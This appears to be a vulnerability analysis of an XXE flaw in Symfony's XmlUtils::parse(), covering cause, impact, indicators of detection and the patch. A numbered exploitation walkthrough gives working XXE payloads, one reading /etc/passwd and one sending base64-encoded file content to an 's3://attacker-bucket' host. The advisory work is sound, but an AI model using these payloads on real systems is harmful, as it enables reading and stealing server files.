CVE-2026-123824: 
PHP vulnerability analysis and mitigation

CVE-2026-123824 is an XML External Entity (XXE) injection vulnerability in the Symfony Config component's XmlUtils::parse() method, caused by enabling DTD validation ($dom->validateOnParse = true) before rejecting documents with a doctype. This allows a remote attacker who can supply XML to the method to probe for local file existence, trigger denial of service, and — in some configurations — exfiltrate local file content. Affected versions include Symfony prior to 5.4.56, 6.x prior to 6.4.50, 7.x prior to 7.4.23, and 8.x prior to 8.1.11. It carries a CVSS v3.1 base score of 6.3 (Medium) and a CVSS v4.0 base score of 2.3 (Low) (GitHub Advisory, Feedly). The vulnerability was published on November 6, 2026, and is classified as the same defect as CVE-2026-45071, which was previously fixed in the DomCrawler component but not in Config (GitHub Advisory).

The root cause (CWE-611: Improper Restriction of XML External Entity Reference) lies in XmlUtils::parse() setting $dom->validateOnParse = true immediately before calling loadXML(), which causes libxml to resolve external entities during XML loading — before the subsequent doctype rejection check can run. While LIBXML_NONET blocks http:// URIs, it does not block file:// URIs, so a crafted XML document with a doctype declaring a file:// external entity will have that entity read from disk before the exception is thrown. A parameter entity can also read a local file via php://filter and embed its content into a second entity's URL; if the application registers a network-capable stream wrapper (e.g., s3://), the file content can be sent to an external server. Exploitation requires the attacker to control XML input passed to XmlUtils::parse(), which is only possible in applications that expose this method to untrusted input — the built-in Symfony callers (DependencyInjection, Routing, Validator, Serializer loaders) consume trusted developer configuration (GitHub Advisory, Symfony Commit).

Successful exploitation enables an attacker to determine whether arbitrary local files exist on the server (file-existence oracle via distinct libxml error messages), cause denial of service by pointing an entity at a large or slow file, and — if the application registers a network-capable stream wrapper such as s3:// — exfiltrate the content of local files to an external server. The DOM is never returned to the caller (the doctype rejection throws an exception), so direct content disclosure through the API response is not possible without a network-capable wrapper. Integrity impact is low and limited to the vulnerable system; there is no lateral movement risk inherent to this vulnerability (GitHub Advisory, Feedly).

As of the disclosure date, there are no known public proof-of-concept exploits, no evidence of in-the-wild exploitation, and no threat actor attribution (Feedly). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.272%, reflecting low near-term exploitation probability. Exploitation is further constrained by the requirement that the attacker control XML input passed directly to XmlUtils::parse(), which is not the case for standard Symfony framework usage (GitHub Advisory).

1. Identify a vulnerable endpoint: Locate a Symfony application (versions prior to 5.4.56, 6.4.50, 7.4.23, or 8.1.11) that passes attacker-controlled XML directly to Symfony\Component\Config\Util\XmlUtils::parse().
2. Craft a malicious XML document: Construct an XML payload with a DOCTYPE declaration that defines an external entity referencing a local file via file://, for example:

   <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>

3. Submit the payload: Send the crafted XML to the vulnerable application endpoint that invokes XmlUtils::parse().
4. Probe file existence: Observe the libxml error response — a missing file yields failed to load external entity "file:///...", while a present but malformed file yields parsing errors attributed to that file, confirming its existence.
5. Trigger DoS (optional): Point the external entity at a large or slow file (e.g., /dev/urandom or a network-mounted slow resource) to exhaust server resources.
6. Exfiltrate file content (if network-capable wrapper is registered): If the application registers a stream wrapper such as s3://, use a parameter entity with php://filter to encode and embed local file content into the URL of a second entity pointing to the attacker-controlled external server:

   <!DOCTYPE foo [<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"><!ENTITY % eval "<!ENTITY exfil SYSTEM 's3://attacker-bucket/%file;'>">%eval;]><root>&exfil;</root>

   (GitHub Advisory)

• Logs: PHP/web server error logs containing libxml messages such as failed to load external entity "file:///..." or Premature end of data in tag attributed to local file paths, which indicate external entity resolution attempts.
• Logs: Application logs showing XmlParsingException with message Document types are not allowed. triggered by requests containing DOCTYPE declarations in XML input.
• Network: Unexpected outbound connections from the web server to cloud storage endpoints (e.g., S3, GCS) or other external hosts originating from the PHP/Symfony process, potentially carrying base64-encoded data in URL paths — indicative of file exfiltration via registered stream wrappers.
• Application Input: XML request bodies containing <!DOCTYPE, <!ENTITY, SYSTEM "file://, or php://filter strings submitted to endpoints that process XML configuration or translation files. (GitHub Advisory)

The fix removes the $dom->validateOnParse = true; line from XmlUtils::parse(), preventing libxml from resolving external entities during XML loading. Patched versions are 5.4.56, 6.4.50, 7.4.23, and 8.1.11 — users should upgrade to the appropriate patched release via Composer (composer update symfony/config). No configuration-based workaround is available short of upgrading; as an interim measure, applications should avoid passing untrusted XML directly to XmlUtils::parse() (GitHub Advisory, Symfony Commit).

The vulnerability was reported by Prithiv Kumaravel (ProjectDiscovery) and Björn Meyer from Shopware AG, and the advisory was published by Symfony maintainer fabpot (GitHub Advisory). The advisory explicitly notes the low severity rating, consistent with the prior CVE-2026-45071 fix in the DomCrawler component, and emphasizes that standard Symfony framework usage is not exposed to untrusted XML input through this code path. No significant broader media coverage or social media discussion has been identified at this time.